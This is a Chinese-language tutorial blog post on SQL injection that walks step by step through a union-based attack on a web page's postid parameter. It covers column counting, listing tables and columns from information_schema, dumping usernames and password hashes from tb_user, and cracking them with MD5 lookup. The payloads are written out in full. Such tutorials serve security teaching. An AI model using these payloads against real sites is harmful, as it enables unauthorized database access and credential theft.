SQL注入详解

sql-注入

  • SQL注入是什么?
    sql 注入(SQL Injection)是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息。
额…巴巴拉拉这么多,这是嘛玩意儿啊???

在这里插入图片描述

打住,咱先看完再懵逼也不迟,请继续往下看~~
  • 首先正常页面是这样的;

在这里插入图片描述

  • 第一步:单引号闭合发现页面报错,说明该页面可能存在该sql注入;

在这里插入图片描述

  • 第二步:判断是数字型还是字符型注入,输入and 1=1和1=2,页面返回正常则说明是字符型,反之则是数字型;

      ?id=2&postid=4 and 1=1--+
    

在这里插入图片描述

  • 两次页面都正常说明是字符型注入;

      ?id=2&postid=4 and 1=2
    

在这里插入图片描述

  • 使用单引号闭合和- -+注释后面内容,发现页面正常

     ?id=2&postid=4'--+
    

在这里插入图片描述

  • 第三步:order by判断字段,输入9时报错,说明有8个字段;

      ?id=2&postid=4' order by 9--+
    

在这里插入图片描述

  • 第四步:union查询判断注入点,发现3,4存在注入点;

      ?id=2&postid=-1' union select 1,2,3,4,5,6,7,8--+
    

在这里插入图片描述

  • 第五步:查询当前数据库;

      ?id=2&postid=-1' union select 1,2,3,database(),5,6,7,8--+
    

在这里插入图片描述

  • 第六步:查询当前数据库里所有表; (补充:group_concat函数)

      ?id=2&postid=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema = 'baby.or'),5,6,7,8--+
    

在这里插入图片描述

  • 第七步:查询当前表所有字段名; (补充:查询tb_user表是因为用户名和密码信息一般放在该表里)

      ?id=2&postid=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name = 'tb_user'),5,6,7,8--+
    

在这里插入图片描述

  • 第八步:查询当前表里username和password字段值;

      ?id=2&postid=-1' union select 1,2,(select group_concat(username) from tb_user),(select group_concat(password) from tb_user),5,6,7,8--+
    

在这里插入图片描述

  • 查询到密码发现密码被加密了,使用MD5解密得到密码;

在这里插入图片描述

  • 总结
    1. 判断是否存在注入;
    1. 判断注入类型是字符还是数字型;
    1. 判断字段数;
    1. 判断注入点;
    1. 查询数据库;
    1. 查询数据库里表;
    1. 查询表里里字段名;
    1. 查询字段值;

以上就是一次完整的sql注入基本操作,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,Thank Read!

  • 8
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值